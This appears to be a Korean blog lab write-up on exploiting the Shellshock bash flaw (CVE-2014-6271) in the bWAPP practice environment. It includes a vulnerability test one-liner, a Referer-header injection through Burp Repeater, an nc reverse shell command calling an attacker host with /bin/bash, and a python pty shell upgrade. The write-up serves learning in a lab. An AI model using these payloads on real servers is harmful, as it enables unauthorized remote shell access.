쉘쇼크 취약점
쉘쇼크(shellshock)는 bash쉘의 취약점이다. CVE id는 CVE-2014-6271이다.
쉘쇼크는 시스템 환경변수에 다음과 같이 특정 패턴의 문자열과 함께 임의의 명령어가 저장되어 있으면 쉘이 실행될 때 해당 명령어가 실행되는 취약점이다.
() { :;}; <command>
쉘쇼크 취약 여부 테스트 스크립트
env x='() { :;}; echo DANGER' bash -c 'echo test'
이 명령문은 x 환경 변수에 쉘쇼크 공격 패턴과 명령어를 지정한 뒤 bash 쉘을 실행하여 지정한 명령어가 실행되는지 확인한다.
쉘쇼크에 취약한 버전일 경우 echo 명령어가 실행되어 DANGER가 출력이된다.
쉘쇼크에 취약하지 않은 버전은 DANGER 문자열이 출력되지 않는다.
쉘쇼크 취약점은 CGI로 구현된 웹 애플리케이션의 경우 요청 헤더가 환경 변수로 저장되기때문에 웹을 통해 쉘쇼크 공격이 가능하다.
실습 페이지의 내용은 bash 버전이 쉘쇼크 버그에 취약하다고 하고 레퍼러 헤더를 공격하여 이 시스템으로 침드를 하라고한다.
실습 페이지의 마지막 2두줄은 iframe을 통해 요청한 shellshock.sh 쉘 스크립트의 실행 결과로 출력된 것이다.
버프스위트로도 확인이 가능하다.
shellshock.sh가 요청되면 bash에 의해 쉘 스크립트가 실행된다. 이때 쉘쇼크 취약점이 존재하므로, shellshock.sh를 요청하는 요청 헤더에 쉘쇼크 공격 코드를 삽입하여 전송하면 원하는 명령을 실행할 수 있다.
원격 명령어나 원격 코드 실행(RCE)이 가능한 경우 명령어를 실행함으로써 쉘을 획득하여 호스트로 침투를 진행한다.
쉘을 획득하는 방법에는 바인드 쉘과 리버스 쉘이 있다.
바인드 쉘 기법은 공격자가 서버 쪽에 리스닝 포트를 열어 접속을 기다리도록 만든 후, 공격자 클라이언트에서 서버로 접속하여 쉘을 획득하는 공격 방법이다.
리버스 쉘 기법은 공격 대상 쪽에서 공격자의 호스트로 접속하도록 만들어 리버스, 즉 역방향으로 쉘을 생성하는 공격 방법이다. 리버스 쉘 기법은 방화벽을 우회하기 위한 용도로 많이 사용한다.
리버스 쉘을 생성하기 위해서는 nc라는 명령어를 자주 이용한다. nc를 이용하여 양방향 통신이 가능하다.
리스닝 모드로 포트를 생성
nc -lvnp <포트번호>
옵션
-l : nc를 리스닝 모드로 동작. nc가 서버의 역할을 하게 된다.
-v : nc 실행 중 발생하는 메시지를 출력. 접속이 들어오면 그 내용을 알려줌
-n : 호스트 주소나 포트를 숫자 형태로 표시한다.
-p : 리스닝 모드에서 사용할 포트번호를 지정한다.
쉘을 획득하기 위해서는 원격에서 다음과 같은 명령어를 실행하면 된다.
nc <공격자 호스트 IP 주소> <포트번호> -e /bin/bash
이 명령문이 실행되면 nc 명령어 뒤에 지정된 IP주소와 포트로 접속하게 되는데, -e 옵션은 접속이 이루어진 후 실행할 명령어를 지정하는 옵션이다. /bin/bash를 지정하였으므로 bash쉘을 실행한다.
1. 칼리리눅스에서 nc를 리스닝 모드로 동작
리스닝모드로 포트번호 9999로 지정하였다.
2. 요청 메시지의 레퍼러 헤더에 쉘쇼크 공격 패턴을 삽입한 후, nc를 이용하여 칼리 리눅스로 접속
shellshock.sh 요청을 마우스 우클릭 메뉴를 사용하여 리피터로 보낸다.
() { :;}; 쉘쇼크 공격 패턴 뒤에 nc를 이용하여 칼리리눅스에서 리스닝하고 잇는 9999포트로 접속하도록 하였다.
레퍼러 헤더를 수정한 후 Send 버튼을 눌러 전송하면 접속이 들어온 것을 nc가 실행되고 있는 칼리 리눅스 터미널에서 확인할 수 있다.
python -c 'import pty; pty.spawn("/bin/bash");'
위 명령어를 입력함으로써 프롬프트가 표시되는 쉘로 업그레이드 할 수 있다.
'WEB hacking > 비박스(bWAPP)' 카테고리의 다른 글
자바 역직렬화 취약점 공격 (0) | 2022.11.15 |
---|---|
[비박스(bWAPP)] - PHP-CGI 취약점 공격(metasploit) (0) | 2022.11.14 |
[비박스(bWAPP)] - 하트블리드 취약점 (0) | 2022.11.12 |
[비박스(bWAPP)] - XML External Entity Attacks(XXE) (0) | 2022.11.07 |
[비박스(bWAPP)] - Directory Traversal - Files (0) | 2022.11.04 |